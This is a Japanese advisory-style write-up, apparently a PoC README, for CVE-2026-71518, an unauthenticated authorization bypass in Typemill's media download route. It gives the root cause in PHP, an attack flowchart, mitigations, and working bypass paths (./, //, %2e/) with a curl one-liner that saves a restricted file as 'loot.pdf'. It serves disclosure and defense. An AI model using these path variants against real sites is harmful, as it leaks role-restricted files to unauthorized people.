CVE-2026-71518 — Typemill の未認証認可バイパス

パス等価な URL バリアントがロール制限付きメディアのダウンロードをバイパス

制限は生のリクエストパスに基づいて判定される一方、ファイルは OS 解決後のパスから読み込まれる — その2つは一致しない

概要 · サマリー · 根本原因 · 攻撃チェーン · エクスプロイト · 対策 · タイムライン

📋 概要

🔎 サマリー

Typemill では、管理者が media/files/filerestrictions.yaml を通じて個々のメディアファイルを特定のユーザーロールに制限できます。公開ダウンロードルートはその制限を尊重するはずですが、ファイルシステム解決後のパスからバイトを配信する一方で、制限のチェックは生のリクエストパスに対して行われます。同じファイルには多くのパス等価な表記（./name、//name、%2e/name）が存在するため、攻撃者は制限キーに一致しないもののディスク上では同じファイルに解決されるバリアントを選択します。

このルートには認証ミドルウェアが一切ないため、結果として、ロールに明示的にロックされたファイルが完全に未認証でダウンロード可能になります。

🧬 根本原因

ダウンロードルートは公開されています — 認証ミドルウェアはありません：

// system/routes/web.php
$app->get('/media/files/{params:.*}', ...ControllerWebDownload::class . ':download');

system/typemill/Controllers/ControllerWebDownload.php 内では、アクセス制御の判定とファイル読み込みが同じパスの2つの異なる表現を使用しています：

// Restriction is looked up with the RAW, un-normalized request parameter:
if (isset($restrictions['media/files/' . $args['params']])) {
    // ... enforce role restriction (redirect to login if not allowed)
}

// ... but the bytes are served from the OS-resolved path:
$content = file_get_contents($base . $params);

validate() はリテラルな .. シーケンスのみを拒否します — ./ や // を正規化せず、パーセントエンコードされた同等表現も拒否しません。そのため、制限キーと実際に読み込まれるファイルの同期が崩れます：

このバグは、*「認可判定とリソースアクセスが、攻撃者が制御可能な異なる文字列に基づいて行われる」*という古典的なパターン（CWE-639/CWE-863）です。$_SERVER['REQUEST_URI'] は Apache 環境でも生のまま保持されるため、特定のサーバーに限った問題ではありません。

⛓️ 攻撃チェーン

flowchart LR
    A[Admin restricts<br/>media/files/secret.pdf<br/>to role 'editor'] --> B[Anon requests<br/>/media/files/secret.pdf]
    B --> C{Restriction key<br/>matches raw path?}
    C -->|yes| D[302 → login<br/>🔒 blocked]
    A --> E[Anon requests<br/>/media/files/%2e/secret.pdf]
    E --> F{Restriction key<br/>matches raw path?}
    F -->|no| G[file_get_contents resolves<br/>./ // %2e to same file]
    G --> H[200 OK<br/>🟢 file leaked]

1. 管理者がプライベートファイルをアップロードし、filerestrictions.yaml で特定のロールに制限します。
2. 正規の URL は匿名ユーザーに対して正しくブロックされます。
3. 攻撃者がパス等価なバリアントをリクエストします → 制限キーが一致せず、ファイルは依然として解決されます → 認証情報なしでダウンロードが成功します。

💥 エクスプロイト

exploit/exploit.py は、ローカルのテストコンテナに対してこの問題をエンドツーエンドで再現します。(1) 「admin」が editor ロールに制限されたプライベートファイルを配置し、(2) 正規の URL が匿名ユーザーに対してブロックされることを確認し、(3) 各パス等価バリアントを通じて同じファイルをダウンロードします。

# Bring up a local Typemill < 2.26.0 as container "typemill-test" on :8099, then:
python3 exploit/exploit.py

期待される出力：

[CONTROL] GET /media/files/secret.pdf            -> http=302  (restriction enforced)
[BYPASS ] GET /media/files/./secret.pdf          -> http=200  leaked=True
[BYPASS ] GET /media/files//secret.pdf           -> http=200  leaked=True
[BYPASS ] GET /media/files/%2e/secret.pdf        -> http=200  leaked=True
>>> VULNERABLE: unauthenticated download of a role-restricted file (CWE-639)

脆弱なホストに対するワンライナー（許可されたテストのみ）：

curl -s 'https://TARGET/media/files/%2e/restricted-file.pdf' -o loot.pdf

🛠️ 対策

• Typemill 2.26.0 以降にアップグレードしてください。
• 正しい修正方法は、リクエストパスを一度正規化/正規形に揃え、その単一の正規値を制限のルックアップとファイル読み込みの両方に使用することです — これにより、アクセス制御キーと配信されるリソースが決して不一致にならなくなります。
• 多層防御：読み込み前に realpath() で解決し、メディアのベースディレクトリ配下に収まっていることを確認し、パーセントエンコードされたパス区切り文字を拒否します。

🗓️ タイムライン

📚 参考情報

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71518
• CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-71518
• Fixed release: https://github.com/typemill/typemill/releases/tag/v2.26.0

_{許可されたセキュリティテストおよび教育目的のみに使用してください。© @IlhomjonR}